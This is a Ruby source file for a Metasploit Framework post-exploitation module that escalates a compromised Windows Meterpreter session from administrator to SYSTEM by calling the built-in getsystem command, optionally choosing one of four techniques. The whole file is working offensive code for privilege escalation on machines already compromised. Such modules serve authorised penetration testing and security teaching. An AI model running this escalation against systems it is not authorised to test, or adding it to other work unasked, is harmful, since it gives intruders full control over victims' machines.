metasploit-framework/modules/post/windows/escalate/getsystem.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'metasm'
require 'msf/core/post/windows/priv'


class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Priv

	def initialize(info={})
		super(update_info(info,
			'Name'          => 'Windows Escalate Get System via Administrator',
			'Description'   => %q{
					This module uses the builtin 'getsystem' command to escalate
				the current session to the SYSTEM account from an administrator
				user account.
			},
			'License'       => MSF_LICENSE,
			'Author'        => 'hdm',
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))

		register_options([
			OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0])
		], self.class)

	end

	def unsupported
		print_error("This version of Meterpreter is not supported with this script!")
		raise Rex::Script::Completed
	end

	def run

		tech = datastore['TECHNIQUE'].to_i

		unsupported if client.platform !~ /win32|win64/i

		if is_system?
			print_good("This session already has SYSTEM privileges")
			return
		end

		result = client.priv.getsystem( tech )
		if result and result[0]
			print_good( "Obtained SYSTEM via technique #{result[1]}" )
		else
			print_error( "Failed to obtain SYSTEM access" )
		end
	end

end